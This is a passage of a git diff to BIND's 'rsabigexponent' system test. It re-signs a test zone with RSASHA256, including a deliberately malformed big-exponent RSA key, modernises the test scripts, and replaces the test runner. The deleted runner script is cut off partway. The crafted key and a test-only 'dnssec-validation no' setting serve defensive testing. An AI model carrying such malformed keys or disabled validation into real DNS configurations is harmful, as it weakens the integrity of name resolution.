-					KAzHwU1tAXkgx0FOwfyOs2rxooo= )
+			300	RRSIG	SOA 8 1 300 (
+					20361231235959 20000101000000 52810 example.
+					IfZrUTjdr4Ull5MSQW4eHxrub6X5O8VWB3vG
+					kg6TBT8f2Aw4hLcwT0X47xRqL9nU1kKA3qpu
+					mi71wqiZPbYI+suHYGuqRO/V6YujdQRpLhGS
+					gTpLmETa46unkMDY6sze41AlCyzR79yaDxVS
+					+pS2V1AVYzQzzeswJXHwSLO5HKtClPL3izpV
+					AJD1+dL0UZRs9yOqbxU1RgvASPFEt+1Wd2p6
+					qwyeadJ7PB0PL7QQXSDsQ09Ms1BGoKq5p6Os
+					HtgXPo+aZQR2gczm3Yals9I1tZnk/ZM86aS0
+					63NrEEUQycMNCr100WgWzYQzO90SmJMqpdeZ
+					fxzlRQbY7jN4qRbM7A== )
 			300	NS	ns2.example.
-			300	RRSIG	NS 5 1 300 (
-					20361231235959 20000101000000 51829 example.
-					EO8/KzfhppvhD2b0hGCdEN8/WTNexK6zkC1Z
-					oW3vu0cFVvac+wrV9Vox90lHI0jTce/R+bvT
-					T9RbpZiZcBKLVyBuHIdFPOdc3ogHMPwaPNkD
-					pvVvLfV6auHCvINiVw+jWinBpTjqoROH/yTC
-					03BQ41vewKsz3fYZ03XUr2xga5Q= )
-			3600	NSEC	a.example. NS SOA RRSIG NSEC DNSKEY
-			3600	RRSIG	NSEC 5 1 3600 (
-					20361231235959 20000101000000 51829 example.
-					FiUyrwO7MV9Lhg6yu0XN/hLZPOiDg/NqIIUc
-					HfA9Yix90Z9G/yzn8NBC92Yp5EPiI4HiE24T
-					t1p4YwHe6n/IJA4KZUIpCxEY5xhQL/mVMeuj
-					dlFA2LaiDwbOh//42zdocaeGPrcV+u6OmXoU
-					xkQIuWeJ1QCaD5FXJdN6zELZsnw= )
-			300	DNSKEY	256 3 5 (
-					BwEAAAAAAAGfDKVFak/2o446xOsi39QnfZmR
-					idaRyg3LaCxDBM6kVqCHQKI3a2lEf4FWVSbp
-					+dYjGavsqWJ/Z7poMRy9JJol2bMLhtsZhESK
-					5EYRaR/2dLw5H10SR+wb/qRVVYovWlk67sql
-					7XYc3x5cjc4XaMVziBBrQMiWqkQS2oGQLwKC
-					Lw==
-					) ; ZSK; alg = RSASHA1; key id = 51829
-			300	DNSKEY	257 3 5 (
-					AwEAAaLNbgMfH/XUwZC9DBVG4OpYVUVyCyZE
-					Bqhk3k6WziIAY+2f7MN3L9CoZR9GqfqM+/c6
-					g8gfkIaZZ2YP/YUUaN73xH/nxtHYkrP5Rqe/
-					dw7qONnsVwvf3HJ8HvURG3wjaOrPoe207+Hp
-					NTNhe/sT2usKhokSU8yKB0DKlnrKQvp9vScs
-					IB/RsIxOXWmYgOMkSXtpI3lQ07l1i2Tv6Une
-					cD9s8rukfl/gPbRBketLYACrqpb2j/1f7ciQ
-					v+rz1GnN9ma8XK1Yw8173/hrVL1S/ZqTGczw
-					deA3AVyiHThOZ15EPhSuL7jaJusHOi43Aa8Z
-					fCMCeimT73F5epktGomAxFU=
-					) ; KSK; alg = RSASHA1; key id = 5896
-			300	RRSIG	DNSKEY 5 1 300 (
-					20361231235959 20000101000000 5896 example.
-					b07impYEH+uW8iPCVE0QXqYSs6Yyu7Nb8q1f
-					rXv+NgE5wbsIvdo4PDdSfScP41WgVKdLPipH
-					gaTyk4CKAuGSvIBMzlc3yib03zdvzBDgn3Yi
-					lONpl2yH47vhvn5iXYcVV4kbuYE9+SFVoVO8
-					m6xvihm1D17m8emivnG6DuJSpJJM09v0toSd
-					3yGI3bgUtki85ehOPU0ZkvA20InVgP5kKUgw
-					/M4vP4VkcwenNO7koMZOorI02KFOH3vvZSI4
-					hzuwJVaQZ35IBBVmSSMAD+0LTBk6sMPSpcmP
-					Pff75NLhU+4+UflWie6mzWIvm3ovcG3fveq0
-					W4G3TCriTIKSjY3Jqg== )
-			300	RRSIG	DNSKEY 5 1 300 (
-					20361231235959 20000101000000 51829 example.
-					a7WU2WcHEpDfM5NBUzN7t4WXEwldn1EM/HkH
-					XEo9NnZhFV16414qbuwWMlUsc5MTii+T4OFZ
-					p2+XHj9M8glM1d98o+EDSYT7LdrrE7AqdtSO
-					gcXdeY6WRI9R5wkLP3cP6kADp5WIOcQ78IPb
-					pRJ4jhxqMPFV3cqCWH/Lp8JPghY= )
+			300	RRSIG	NS 8 1 300 (
+					20361231235959 20000101000000 52810 example.
+					VUPhDucH6rlx93V13b7OSAQ6fE/9jlxhCTXv
+					peBD69WOa4jZHMZf60gqy10gLVMx35gZdEaU
+					cJqaBcAniSwPY3a7mxclMja7fmuCB9wcSbiP
+					pwk5KIYSgIvoWp3ro2I19C0IDQDVWtH1xqdQ
+					Dv+3MV39Zpf0AnXB05mBopI2DQI9mYHCnmis
+					F3pfcfs+h/ipyodE5kccBBRvtfKWHly342Xe
+					azHKM4eyuGj9NLwuwsoVgnyQ3I9hrKVAiUjS
+					fQ4cxyBVhh+Wb1/VrVSbX+X9VNzQ04mcREHS
+					yXIPoIQBNju3dyOSTQ+VIeasRvRU8nqMS/1f
+					oeqj5ehTjtfejF6Jfw== )
+			300	NSEC	a.example. NS SOA RRSIG NSEC DNSKEY
+			300	RRSIG	NSEC 8 1 300 (
+					20361231235959 20000101000000 52810 example.
+					bG90DOCaN7BhihvtCUs2eJhSHkRaV582ROQi
+					AbamawevX8NQGJeVpHb3t5ekQuK5EWjLFr6i
+					bga5TpeP8HOv3lDb8w7kb7xOrHycw5Sizws5
+					PZTvtuty9nT6dZ9h4pfLNTbW+SBV904xv3JT
+					ZlXoxtm4JAdmKUcGiCFLjMvwbQ5SKEZq27uN
+					9xCeY0CPkQmiGbTrySYFyNZsBBsL2OI5ec2V
+					TbQVSDhnnEhbVdMb8Yh2sTt9H/CT1yG2s4U9
+					a9ccxguFzt6mk+f5ZL+WKgxkTOMOrZW3dyiI
+					x53dNQyZN/tczibox/LLG/SaET5wR/V5gDsh
+					9DObfc9u1+of/H0lhg== )
+			300	DNSKEY	257 3 8 (
+					AwEAAeeXAGBcXxSNj5X/PWT8XDBk4U9OUkZ7
+					YKQBf2IN3V6OZomt/s3FUWIh70Wot+z1Ld3R
+					fswq1DjCaWNRFOMhs+9j3Fhc46wMZ4pnsDW1
+					nLHk2TnQRdrbiuhLkQy5oNMjSRxu924XLw5y
+					lsuqjxE7vXcCeKSFe674roSqwo39atWsTJMD
+					z0FQGxlPucnXai0nHoCeC7+u1s+wLaGcpNSZ
+					lsab7ZnyFD4HZ3HKUCJw/Jjr5CZjqal9KdmW
+					SC1SINRtlAN6PX5VSiNEncnYMCdjiv+ZhRGn
+					+aHh1BmEWomGbAm2Jjw5mrYMgDs9lJRc5Vtg
+					0YXb9OkYvxNFV4QGw1oeF+M=
+					) ; KSK; alg = RSASHA256 ; key id = 51650
+			300	DNSKEY	256 3 8 (
+					BwEAAAAAAAHYYy161+wCg6yFHRlyex8oVkcK
+					+K2SBUryI1+DEKzjusH6yLfzzlJCPGrubmD+
+					jseKYwXfzelJkRQbMDjWbMYLHKytuPtwnJMS
+					eVh+a/Ore6oVPXy716EYpsEBSmVjfQyS0mGH
+					pwrYk4QaKjJDM7Q173EFl/sEeXjHqInlzOgJ
+					bXqsCrSfA94anSt42DGhJeeIfQ8b3vqD/nCn
+					A6C7khItAWlfJto7d42Ev8tckjr3CrTW9tn9
+					pHb2DKeh85rKeJBBLMYQU3jfF5KHEEsjztLG
+					MnPLlXTteh8wKrk/0IJrot17w0FR0H2v8oG3
+					xDXxfhJ0OeTW7dtBHD6ISgqeJ9zt
+					) ; ZSK; alg = RSASHA256 ; key id = 52810
+			300	RRSIG	DNSKEY 8 1 300 (
+					20361231235959 20000101000000 52810 example.
+					O4q1oueEgPoWHhrLiobGvMQLS2KHN+xxSddf
+					y6fqksqivRLgj0633fnEZrFtc44YueV+L4gQ
+					kaoWCCpR0yQH4BOw4p3FVjEgl+jXLzIc7amw
+					ZfKAnSOtMoTaBCQ2hN8b2ducUHgKV7ta9bca
+					lO0wuqqp2OOO/n9S3YMBVfrCW4jL2w1QPC+b
+					lm/4ka8OwqKKGAcO0d/nGeOPJZnfbddSzqEQ
+					C3j1tGavwBC4RAGilxw3XoyoICDp0LQR7M9a
+					tWAxYmMfilEEfpip9R3HhCa+ynIVsHP8yTXE
+					dlWM3LUZePm44aV38YeObJpRMkb8sO5VrbZn
+					8hJoIs3eyguC4HKKTg== )
+			300	RRSIG	DNSKEY 8 1 300 (
+					20361231235959 20000101000000 51650 example.
+					Eaw79mOoImGg+ymMJ+9paoanUgR/Od0Pxv/X
+					mevid1TRbssSc2KynAToxSXRcOQwRQjto9sC
+					qj0pOekPPmW1I6DRlMOGDS6l0Uuk51GvUuRD
+					Xbr19BG73mcPuKfYHNbx6cUHvBlPilnjM803
+					m9E8DK6Ba9uo/MNhgtWoWj8wQxqP2YS+HW3v
+					bOv/p4en9Dc5ft6ATtSYj84ejuPAKnfVbleI
+					fJW+qIQ7q9A24xEZ4QlWuRovjsoASVsuLnX+
+					X4sQYlWBIPMQYQ8RIN1CgSRPGb603pAq9ru6
+					ySpjlxHQRtdOGBNJleg9Wz612rHRd3x7BM+8
+					/Lvz31Ot/JSh3u4DSQ== )
 a.example.		300	IN A	10.0.0.1
-			300	RRSIG	A 5 2 300 (
-					20361231235959 20000101000000 51829 example.
-					h4WyY0hUkZobUbt2xWC4lJLEbGvzxGczH/mN
-					WHZBpgg+1tuoTAdVbt6a2TfQcJV/iPQGAHte
-					Vu/U6tD8KzP08krlqrcefwvR5LDAQygWRdjt
-					Rx105w9F0GiL6kpDH6S9T8xCw3aF5Rl1lu/u
-					8eiUzDIMIBTijhXmM96Nde18RdA= )
-			3600	NSEC	ns2.example. A RRSIG NSEC
-			3600	RRSIG	NSEC 5 2 3600 (
-					20361231235959 20000101000000 51829 example.
-					LbzeWbk9r119I95TVCebEPfnCCk9zBRq4nAR
-					swliQVQ84bCjwVJfakvlD4mgilSPtypxpyXC
-					DQaiOQWOz9LFzro5u71VuSS5fY7U4elp/lq6
-					5BJB6o/dmk5xASAHHbOO6e5dcoQ5vRxcnJaE
-					0vE1jGppo2FiQzkVi7Zbrghoolg= )
+			300	RRSIG	A 8 2 300 (
+					20361231235959 20000101000000 52810 example.
+					zp4L0Um0guehtT+4GQaMeYx5PiwEbSRyi7sg
+					Xv2uFn/wFML/Df0PgCxCYkWKL2Db/j15IZON
+					uz2CNRG7lDMZsb+JgyLZ6R3OuSKjwzA++kUu
+					8ExPpdrFHxZFMPefkU1vjf7E1yt4/aSaO23T
+					m0F6yFHcVfBE1DElG1vLWO6cWtSIMKjXOo15
+					Zy2hHhT/7jKhqcHnwwCBHLuV9/e9OmI34H7I
+					Sd3Ik8dnNEjRTVbLem3tQMfQ9ZfYDHPHli+z
+					Z5dGgPmpyNPq5bfs7O5uCO5cNCbouFdEnc6O
+					DA9QiyOGba8w7vI1gHMvA+rWPpA+fTGgrVRq
+					7bTfa0jTOsybR8rZjg== )
+			300	NSEC	ns2.example. A RRSIG NSEC
+			300	RRSIG	NSEC 8 2 300 (
+					20361231235959 20000101000000 52810 example.
+					oh6oqdC9OIoO0jIN0x9MIBlYlzAg2LFYffrP
+					QlgPAtPn8A9cPCxU2i6hJ1ubqc6o1LVD7LH6
+					GVj842Ytys1uO2Nwf9xXS4gbchJ6NE9IjQh6
+					IoBNmlgdfprzJEJlEFx73dytakfcjc+hIj8t
+					b14Lu2/5BBDSamw+uVyeV8Wg2jNdrN7UEqyA
+					ccnhLPWHAOtspzxrmCrBDPc6Geelu8KzARs5
+					qOZ/p9CKffmKL/65K/N8WWKQWVNI22tAbiWT
+					J1t3BNkOLUSKMvEVLFcgStV4QtFcQrSB96Hu
+					D2rSbAGsH5Ujmz4GTxhOSqd8OJ7XDEWlhZod
+					LhUBltfjmakorhGqqg== )
 ns2.example.		300	IN A	10.53.0.2
-			300	RRSIG	A 5 2 300 (
-					20361231235959 20000101000000 51829 example.
-					Jfp3xzrym5GksbZ+a2rjOXzV/Ct+eX2DCo8a
-					lSbriEhuK9OR3WUnXoDqp1X/d7adNL2lI9c+
-					B3UVL+EOCyvNxt9kECcN8KgQdXKExZEQUwnN
-					UB51QESM9pW6akavhXJu98sjnhtpdTwrtKbg
-					nMJkfYe5Mw3e/8RFY+wpEq/8cHw= )
-			3600	NSEC	example. A RRSIG NSEC
-			3600	RRSIG	NSEC 5 2 3600 (
-					20361231235959 20000101000000 51829 example.
-					Wxkz4nY5rty6O90QhFZguyqbaz9njnJKUs7m
-					qYF9u7dDk8vUf3yS97fw3e0N13X5zGZa7hTr
-					+65U4NKEOqYDBbvWaXSVFxrzVfSVXqY6l4jX
-					kWjA6q4q5TTgcjOUJ0MfvcjtgxcaKUiPGmPJ
-					RWdOV7t9YMWnf7QAbPI55QN9sfY= )
+			300	RRSIG	A 8 2 300 (
+					20361231235959 20000101000000 52810 example.
+					sDlETJwDoWqYZdcwYBW/l+Ot4Tb3mSXJvW3R
+					1fsoiq/obWZeC+bU2MszckcZKPET2CRqBD+c
+					uLCcOhZrcH0m25Y02SAzOOG2V12KNvWVznSz
+					bZw+/+ucYhxhiNKherdwpHOAdjlhG//zFHDy
+					sAxmrtjWO2DT9pv1Hd/Hm3aGgAYTs0ryyeyo
+					k05sTgdr43APFkX4SNoNXGUEt8E0uMghIvhi
+					mgKSQ45fZFsZeUiEfwvtQ8uAuDNOLWK49Bw5
+					184QrQ/NZ3YVyJercg7wm/jFMVkgxggiOl2q
+					ZCLadaSQNnsvtbwgyTktRJb5YovzZEQrH7O0
+					vW/DAN1Cqa1nXw/kZA== )
+			300	NSEC	example. A RRSIG NSEC
+			300	RRSIG	NSEC 8 2 300 (
+					20361231235959 20000101000000 52810 example.
+					DyLuymW3Bv6irCLzfUGnz2cy1XctqfW7ycLc
+					7wgDzDLNvJ6tqr8tjHKMdCODJDiG+lR5oFo7
+					8RA604OYcmJjLIAMj3fCxzBkIlH5SXRcJ86X
+					a8U6oXrgt6IvUMC2crdWMVgVnSWlqBS4TNNg
+					QhUa+vt+Em8ce3fveqh1tXm1hzysSroOQtMk
+					HOPAtwYR9XP4mTdbC43AU/67jsYPqXq59lm4
+					sE1tmnVdhXuOk7yNAt8O2CSZGGZl5bYMC4On
+					IgWZP7liebXAmhmXpHbBf5/BaE9dVfvWzYTT
+					4wUch+f8TDwwyTqumrlrPsVnvkQ9V0LwODox
+					PxWWxFAznmUMEtlo3g== )
diff --git a/bin/tests/system/rsabigexponent/ns2/example.db.in b/bin/tests/system/rsabigexponent/ns2/example.db.in
index 3a958b51ec..a2a6964eb7 100644
--- a/bin/tests/system/rsabigexponent/ns2/example.db.in
+++ b/bin/tests/system/rsabigexponent/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/ns2/named.conf.in b/bin/tests/system/rsabigexponent/ns2/named.conf.in
index 7f30c66cd6..c81b3f68ee 100644
--- a/bin/tests/system/rsabigexponent/ns2/named.conf.in
+++ b/bin/tests/system/rsabigexponent/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,6 +23,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/rsabigexponent/ns2/sign.sh b/bin/tests/system/rsabigexponent/ns2/sign.sh
index 014af24cb5..53e2257e8d 100755
--- a/bin/tests/system/rsabigexponent/ns2/sign.sh
+++ b/bin/tests/system/rsabigexponent/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,12 +17,12 @@ zone=example.
 infile=example.db.in
 outfile=example.db.bad
 
-for i in Xexample.+005+51829.key Xexample.+005+51829.private \
-	Xexample.+005+05896.key Xexample.+005+05896.private
+for i in Xexample.+008+51650.key Xexample.+008+51650.private \
+	 Xexample.+008+52810.key Xexample.+008+52810.private
 do
-	cp $i `echo $i | sed s/X/K/`
+	cp $i $(echo $i | sed s/X/K/)
 done
 
 $SIGNER -g -s 20000101000000 -e 20361231235959 -o $zone \
-	$infile Kexample.+005+51829 Kexample.+005+51829 \
+	$infile Kexample.+008+52810.key \
 	> /dev/null 2> signer.err || true
diff --git a/bin/tests/system/rsabigexponent/ns3/named.conf.in b/bin/tests/system/rsabigexponent/ns3/named.conf.in
index 34495937c4..bc63656038 100644
--- a/bin/tests/system/rsabigexponent/ns3/named.conf.in
+++ b/bin/tests/system/rsabigexponent/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/setup.sh b/bin/tests/system/rsabigexponent/setup.sh
index 524c6dbdf9..b7c280169f 100644
--- a/bin/tests/system/rsabigexponent/setup.sh
+++ b/bin/tests/system/rsabigexponent/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rsabigexponent/tests.sh b/bin/tests/system/rsabigexponent/tests.sh
index 11b2af3548..39ebd8a797 100644
--- a/bin/tests/system/rsabigexponent/tests.sh
+++ b/bin/tests/system/rsabigexponent/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -23,7 +27,7 @@ do
 	ret=0
 	$CHECKCONF $f > /dev/null || ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
 for f in conf/bad*.conf
@@ -32,14 +36,14 @@ do
 	ret=0
 	$CHECKCONF $f > /dev/null && ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
 echo_i "checking that RSA big exponent keys can't be loaded"
 ret=0
 grep "out of range" ns2/signer.err > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that RSA big exponent signature can't validate"
 ret=0
@@ -48,7 +52,7 @@ $DIG $DIGOPTS a.example @10.53.0.3 > dig.out.ns3 || ret=1
 grep "status: NOERROR" dig.out.ns2 > /dev/null || ret=1
 grep "status: SERVFAIL" dig.out.ns3 > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/rsabigexponent/tests_sh_rsabigexponent.py b/bin/tests/system/rsabigexponent/tests_sh_rsabigexponent.py
new file mode 100644
index 0000000000..38ab3810d4
--- /dev/null
+++ b/bin/tests/system/rsabigexponent/tests_sh_rsabigexponent.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_rsabigexponent(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/run.sh b/bin/tests/system/run.sh
new file mode 100755
index 0000000000..8e87c0f795
--- /dev/null
+++ b/bin/tests/system/run.sh
@@ -0,0 +1,27 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+#
+# Run a single system test using the pytest runner. This is a simple wrapper
+# around pytest for convenience.
+#
+
+if [ -z "$1" ] || [ ! -d "$1" ]; then
+    echo "Usage: $0 system_test_dir [pytest_args]"
+    exit 2
+fi
+
+system_test_dir="$1"
+shift
+
+(cd "$system_test_dir" || exit 2 ; /usr/bin/env python3 -m pytest "$@")
diff --git a/bin/tests/system/run.sh.in b/bin/tests/system/run.sh.in
deleted file mode 100644
index 7d38c0e3e6..0000000000
--- a/bin/tests/system/run.sh.in
+++ /dev/null
@@ -1,331 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-# Run a system test.
-#
-
-top_builddir=@top_builddir@
-builddir=@abs_builddir@
-srcdir=@abs_srcdir@
-
-# shellcheck source=conf.sh
-. ${builddir}/conf.sh
-
-if [ "$(id -u)" -eq "0" ] && [ "@DEVELOPER_MODE@" != "yes" ]; then
-    echofail "Refusing to run test as root. Build with --enable-developer to override." >&2
-    exit 1
-fi
-
-export builddir
-export srcdir
-
-date_with_args() (
-    date "+%Y-%m-%dT%T%z"
-)
-
-stopservers=true
-# baseport == 0 means random
-baseport=0
-
-if [ "${SYSTEMTEST_NO_CLEAN:-0}" -eq 1 ]; then
-    clean=false
-else
-    clean=true
-fi
-
-do_run=false
-log_flags="-r"
-while getopts "sknp:r-:" OPT; do
-    log_flags="$log_flags -$OPT$OPTARG"
-    if [ "$OPT" = "-" ] && [ -n "$OPTARG" ]; then
-        OPT="${OPTARG%%=*}"
-        OPTARG="${OPTARG#$OPT}"
-        OPTARG="${OPTARG#=}"
-    fi
-
-    # shellcheck disable=SC2214
-    case "$OPT" in
-        k | keep) stopservers=false ;;
-        n | noclean) clean=false ;;
-        p | port) baseport=$OPTARG ;;
-        r | run) do_run=true ;;
-        s | skip) exit 77 ;;
-        -) break ;;
-        *) echo "invalid option" >&2; exit 1 ;;
-    esac
-done
-
-shift $((OPTIND-1))
-
-if ! $do_run; then
-    if [ "$baseport" -eq 0 ]; then
-        log_flags="$log_flags -p 5300"
-    fi
-    env - CYGWIN="$CYGWIN" SYSTEMTEST_FORCE_COLOR="$SYSTEMTEST_FORCE_COLOR" SYSTEMTEST_NO_CLEAN="$SYSTEMTEST_NO_CLEAN" SLOT="$SLOT" SOFTHSM2_CONF="$SOFTHSM2_CONF" PATH="$PATH" ${LD_LIBRARY_PATH:+"LD_LIBRARY_PATH=${LD_LIBRARY_PATH}"} TESTS="$*" TEST_SUITE_LOG=run.log LOG_DRIVER_FLAGS="--verbose yes --color-tests yes" LOG_FLAGS="$log_flags" make -e check
-    exit $?
-fi
-
-if [ $# -eq 0 ]; then
-    echofail "Usage: $0 [-k] [-n] [-p <PORT>] test-directory [test-options]" >&2;
-    exit 1
-fi
-
-systest=$(basename "${1%%/}")
-shift
-
-if [ ! -d "${srcdir}/$systest" ]; then
-    echofail "$0: $systest: no such test" >&2
-    exit 1
-fi
-
-if [ "${srcdir}" != "${builddir}" ]; then
-    if [ ! -d common ] || [ ! -r common/.prepared ]; then
-        cp -a "${srcdir}/common" "${builddir}"
-    fi
-    # Some tests require additional files to work for out-of-tree test runs.
-    for file in ckdnsrps.sh digcomp.pl ditch.pl fromhex.pl kasp.sh packet.pl start.pl stop.pl testcrypto.sh; do
-        if [ ! -r "${file}" ]; then
-            cp -a "${srcdir}/${file}" "${builddir}"
-        fi
-    done
-    if [ ! -d "$systest" ] || [ ! -r "$systest/.prepared" ]; then
-        mkdir -p "${builddir}/$systest"
-        cp -a "${srcdir}/$systest" "${builddir}/"
-        touch "$systest/.prepared"
-    fi
-fi
-
-if [ ! -d "${systest}" ]; then
-    echofail "$0: $systest: no such test" >&2
-    exit 1
-fi
-
-
-# Determine which ports to use for this system test.
-eval "$(cd "${srcdir}" && ./get_ports.sh -p "$baseport" -t "$systest")"
-
-restart=false
-
-start_servers_failed() {
-    echoinfo "I:$systest:starting servers failed"
-    echofail "R:$systest:FAIL"
-    echoend  "E:$systest:$(date_with_args)"
-    exit 1
-}
-
-start_servers() {
-    echoinfo "I:$systest:starting servers"
-    if $restart; then
-        $PERL start.pl --restart --port "$PORT" "$systest" || start_servers_failed
-    else
-        restart=true
-        $PERL start.pl --port "$PORT" "$systest" || start_servers_failed
-    fi
-}
-
-stop_servers() {
-    if $stopservers; then
-        echoinfo "I:$systest:stopping servers"
-        if ! $PERL stop.pl "$systest"; then
-            echoinfo "I:$systest:stopping servers failed"
-            return 1
-        fi
-    fi
-}
-
-echostart "S:$systest:$(date_with_args)"
-echoinfo  "T:$systest:1:A"
-echoinfo  "A:$systest:System test $systest"
-echoinfo  "I:$systest:PORTS:${PORT},${TLSPORT},${HTTPPORT},${HTTPSPORT},${EXTRAPORT1},${EXTRAPORT2},${EXTRAPORT3},${EXTRAPORT4},${EXTRAPORT5},${EXTRAPORT6},${EXTRAPORT7},${EXTRAPORT8},${CONTROLPORT}"
-
-$PERL ${srcdir}/testsock.pl -p "$PORT"  || {
-    echowarn "I:$systest:Network interface aliases not set up.  Skipping test."
-    echowarn "R:$systest:FAIL"
-    echoend  "E:$systest:$(date_with_args)"
-    exit 1;
-}
-
-# Check for test-specific prerequisites.
-test ! -f "$systest/prereq.sh" || ( cd "${systest}" && $SHELL prereq.sh "$@" )
-result=$?
-
-if [ $result -eq 0 ]; then
-    : prereqs ok
-else
-    echowarn "I:$systest:Prerequisites missing, skipping test."
-    echowarn "R:$systest:SKIPPED";
-    echoend "E:$systest:$(date_with_args)"
-    exit 77
-fi
-
-# Check for PKCS#11 support
-if
-    test ! -f "$systest/usepkcs11" || $SHELL cleanpkcs11.sh
-then
-    : pkcs11 ok
-else
-    echowarn "I:$systest:Need PKCS#11, skipping test."
-    echowarn "R:$systest:PKCS11ONLY"
-    echoend  "E:$systest:$(date_with_args)"
-    exit 0
-fi
-
-# Clean up files left from any potential previous runs
-if test -f "$systest/clean.sh"
-then
-    if ! ( cd "${systest}" && $SHELL clean.sh "$@" ); then
-        echowarn "I:$systest:clean.sh script failed"
-        echofail "R:$systest:FAIL"
-        echoend  "E:$systest:$(date_with_args)"
-        exit 1
-    fi
-fi
-
-# Set up any dynamically generated test data
-if test -f "$systest/setup.sh"
-then
-    if ! ( cd "${systest}" && $SHELL setup.sh "$@" ); then
-        echowarn "I:$systest:setup.sh script failed"
-        echofail "R:$systest:FAIL"
-        echoend  "E:$systest:$(date_with_args)"
-        exit 1
-    fi
-fi
-
-status=0
-run=0
-# Run the tests
-if [ -r "$systest/tests.sh" ]; then
-    start_servers
-    ( cd "$systest" && $SHELL tests.sh "$@" )
-    status=$?
-    run=$((run+1))
-    stop_servers || status=1
-fi
-
-if [ -n "$PYTEST" ]; then
-    run=$((run+1))
-    for test in $(cd "${systest}" && find . -name "tests*.py"); do
-        start_servers
-        rm -f "$systest/$test.status"
-        test_status=0
-        (cd "$systest" && "$PYTEST" -v "$test" "$@" || echo "$?" > "$test.status") | SYSTESTDIR="$systest" cat_d
-        if [ -f "$systest/$test.status" ]; then
-            echo_i "FAILED"
-            test_status=$(cat "$systest/$test.status")
-        fi
